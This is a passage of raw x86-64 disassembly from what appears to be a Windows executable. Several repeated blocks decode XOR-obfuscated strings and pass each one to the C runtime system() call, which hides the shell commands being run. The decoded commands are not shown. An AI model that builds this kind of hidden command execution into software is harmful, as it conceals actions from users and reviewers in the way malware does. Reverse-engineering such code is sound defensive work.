movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2274]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140009bc0
cmp r8d, 0x94
jge 0x140009d16
movsxd rax, r8d
lea r9, [rbp + 0x2270]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x140009ce0
lea rcx, [rbp + 0x2270]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096590]
movups xmmword [rbp + 0x1940], xmm0
movups xmm0, xmmword [0x1400965b0]
movups xmm1, xmmword [0x1400965a0]
movups xmmword [rbp + 0x1960], xmm0
movups xmmword [rbp + 0x1950], xmm1
movups xmm0, xmmword [0x1400965d0]
movups xmm1, xmmword [0x1400965c0]
movups xmmword [rbp + 0x1980], xmm0
movups xmmword [rbp + 0x1970], xmm1
mov eax, dword [0x140096620]
movups xmm0, xmmword [0x1400965f0]
movups xmm1, xmmword [0x1400965e0]
mov dword [rbp + 0x19d0], eax
movups xmmword [rbp + 0x19a0], xmm0
movups xmmword [rbp + 0x1990], xmm1
movzx eax, word [0x140096624]
movups xmm0, xmmword [0x140096610]
movups xmm1, xmmword [0x140096600]
mov word [rbp + 0x19d4], ax
movups xmmword [rbp + 0x19c0], xmm0
movups xmmword [rbp + 0x19b0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140009f13
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1944]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140009e02
cmp r8d, 0x96
jge 0x140009f56
movsxd rax, r8d
lea r9, [rbp + 0x1940]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140009f20
lea rcx, [rbp + 0x1940]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400973d0]
movups xmmword [rbp + 0x19e0], xmm0
movups xmm0, xmmword [0x1400973f0]
movups xmm1, xmmword [0x1400973e0]
movups xmmword [rbp + 0x1a00], xmm0
movups xmmword [rbp + 0x19f0], xmm1
movups xmm0, xmmword [0x140097410]
movups xmm1, xmmword [0x140097400]
movups xmmword [rbp + 0x1a20], xmm0
movups xmmword [rbp + 0x1a10], xmm1
mov eax, dword [0x140097460]
movups xmm0, xmmword [0x140097430]
movups xmm1, xmmword [0x140097420]
mov dword [rbp + 0x1a70], eax
movups xmmword [rbp + 0x1a40], xmm0
movups xmmword [rbp + 0x1a30], xmm1
movzx eax, word [0x140097464]
movups xmm0, xmmword [0x140097450]
movups xmm1, xmmword [0x140097440]
mov word [rbp + 0x1a74], ax
movups xmmword [rbp + 0x1a60], xmm0
movups xmmword [rbp + 0x1a50], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000a153
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x19e4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000a042
cmp r8d, 0x96
jge 0x14000a196
movsxd rax, r8d
lea r9, [rbp + 0x19e0]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x14000a160
lea rcx, [rbp + 0x19e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x140098a20]
movups xmm0, xmmword [0x140098a10]
movups xmmword [rbp + 0x1eb0], xmm1
movups xmmword [rbp + 0x1ea0], xmm0
movups xmm1, xmmword [0x140098a40]
movups xmm0, xmmword [0x140098a30]
movups xmmword [rbp + 0x1ed0], xmm1
movups xmmword [rbp + 0x1ec0], xmm0
movups xmm1, xmmword [0x140098a60]
movups xmm0, xmmword [0x140098a50]
movups xmmword [rbp + 0x1ef0], xmm1
movups xmmword [rbp + 0x1ee0], xmm0
mov eax, dword [0x140098a90]
movups xmm1, xmmword [0x140098a80]
movups xmm0, xmmword [0x140098a70]
mov dword [rbp + 0x1f20], eax
movups xmmword [rbp + 0x1f10], xmm1
movups xmmword [rbp + 0x1f00], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x14000a381
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1ea4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x14000a270
cmp r8d, 0x84
jge 0x14000a3c6
movsxd rax, r8d
lea r9, [rbp + 0x1ea0]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x84
jl 0x14000a390
lea rcx, [rbp + 0x1ea0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140098990]
movups xmmword [rbp + 0xad0], xmm0
movups xmm0, xmmword [0x1400989b0]
movups xmmword [rbp + 0xaf0], xmm0
movups xmm0, xmmword [str.__d0___ml8____uw_5_285]
movups xmm1, xmmword [0x1400989a0]
movups xmmword [rbp + 0xb10], xmm0
movups xmmword [rbp + 0xae0], xmm1
mov eax, dword [0x140098a08]
movups xmm0, xmmword [0x1400989f0]
movups xmm1, xmmword [0x1400989c0]
mov dword [rbp + 0xb48], eax
movups xmmword [rbp + 0xb30], xmm0
movups xmmword [rbp + 0xb00], xmm1
movzx eax, byte [0x140098a0c]
movsd xmm0, qword [0x140098a00]
movups xmm1, xmmword [0x1400989e0]
mov byte [rbp + 0xb4c], al
movsd qword [rbp + 0xb40], xmm0
movups xmmword [rbp + 0xb20], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000a5bb
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xad4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14000a4b0
cmp r8d, 0x7d
jge 0x14000a603
movsxd rax, r8d
lea r9, [rbp + 0xad0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x14000a5d0
lea rcx, [rbp + 0xad0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097190]
movups xmmword [rbp + 0x1420], xmm0
movups xmm0, xmmword [0x1400971b0]
movups xmmword [rbp + 0x1440], xmm0
movups xmm0, xmmword [0x1400971d0]
movups xmm1, xmmword [0x1400971a0]
movups xmmword [rbp + 0x1460], xmm0
movups xmmword [rbp + 0x1430], xmm1
movups xmm0, xmmword [0x1400971f0]
movups xmm1, xmmword [0x1400971c0]
movups xmmword [rbp + 0x1480], xmm0
movups xmmword [rbp + 0x1450], xmm1
movzx eax, byte [0x140097208]
movsd xmm0, qword [0x140097200]
movups xmm1, xmmword [0x1400971e0]
mov byte [rbp + 0x1498], al
movsd qword [rbp + 0x1490], xmm0
movups xmmword [rbp + 0x1470], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000a7eb
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1424]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14000a6e0
cmp r8d, 0x79
jge 0x14000a833
movsxd rax, r8d
lea r9, [rbp + 0x1420]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x79
jl 0x14000a800
lea rcx, [rbp + 0x1420]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400975f0]
movups xmmword [rbp + 0x2310], xmm0
movups xmm0, xmmword [0x140097610]
movups xmm1, xmmword [0x140097600]
movups xmmword [rbp + 0x2330], xmm0
movups xmmword [rbp + 0x2320], xmm1
movups xmm0, xmmword [0x140097630]
movups xmm1, xmmword [0x140097620]
movups xmmword [rbp + 0x2350], xmm0
movups xmmword [rbp + 0x2340], xmm1
movups xmm0, xmmword [0x140097650]
movups xmm1, xmmword [0x140097640]
movups xmmword [rbp + 0x2370], xmm0
movups xmmword [rbp + 0x2360], xmm1
movsd xmm0, qword [0x140097670]
movups xmm1, xmmword [0x140097660]
movsd qword [rbp + 0x2390], xmm0
movups xmmword [rbp + 0x2380], xmm1
cmp r14d, 2
jl 0x14000aa18
movdqa xmm5, xmmword [0x140098ad0]
mov edx, edi
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2314]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x14000a910
jmp 0x14000aa66
lea r9, [rbp + 0x2310]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x14000aa30
lea rcx, [rbp + 0x2310]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096cb0]
movups xmmword [rbp + 0x1800], xmm0
movups xmm0, xmmword [0x140096cd0]
movups xmm1, xmmword [0x140096cc0]
movups xmmword [rbp + 0x1820], xmm0
movups xmmword [rbp + 0x1810], xmm1
movups xmm0, xmmword [0x140096cf0]
movups xmm1, xmmword [0x140096ce0]
movups xmmword [rbp + 0x1840], xmm0
movups xmmword [rbp + 0x1830], xmm1
movzx eax, word [0x140096d40]
movups xmm0, xmmword [0x140096d10]
movups xmm1, xmmword [0x140096d00]
mov word [rbp + 0x1890], ax
movups xmmword [rbp + 0x1860], xmm0
movups xmmword [rbp + 0x1850], xmm1
movzx eax, byte [0x140096d42]
movups xmm0, xmmword [0x140096d30]
movups xmm1, xmmword [0x140096d20]
mov byte [rbp + 0x1892], al
movups xmmword [rbp + 0x1880], xmm0
movups xmmword [rbp + 0x1870], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000ac71
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1804]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000ab60
cmp r8d, 0x93
jge 0x14000acb6
movsxd rax, r8d
lea r9, [rbp + 0x1800]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x14000ac80
lea rcx, [rbp + 0x1800]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096ab0]
movups xmmword [rbp + 0x1dd0], xmm0
movups xmm0, xmmword [0x140096ad0]
movups xmmword [rbp + 0x1df0], xmm0
movups xmm0, xmmword [0x140096af0]
movups xmm1, xmmword [0x140096ac0]
movups xmmword [rbp + 0x1e10], xmm0
movups xmmword [rbp + 0x1de0], xmm1
movups xmm0, xmmword [0x140096b10]
movups xmm1, xmmword [0x140096ae0]
movups xmmword [rbp + 0x1e30], xmm0
movups xmmword [rbp + 0x1e00], xmm1
movups xmm0, xmmword [0x140096b30]
movups xmm1, xmmword [0x140096b00]
movups xmmword [rbp + 0x1e50], xmm0
movups xmmword [rbp + 0x1e20], xmm1
movzx eax, word [0x140096b48]
movsd xmm0, qword [0x140096b40]
movups xmm1, xmmword [0x140096b20]
mov word [rbp + 0x1e68], ax
movsd qword [rbp + 0x1e60], xmm0
movups xmmword [rbp + 0x1e40], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000aec1
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1dd4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
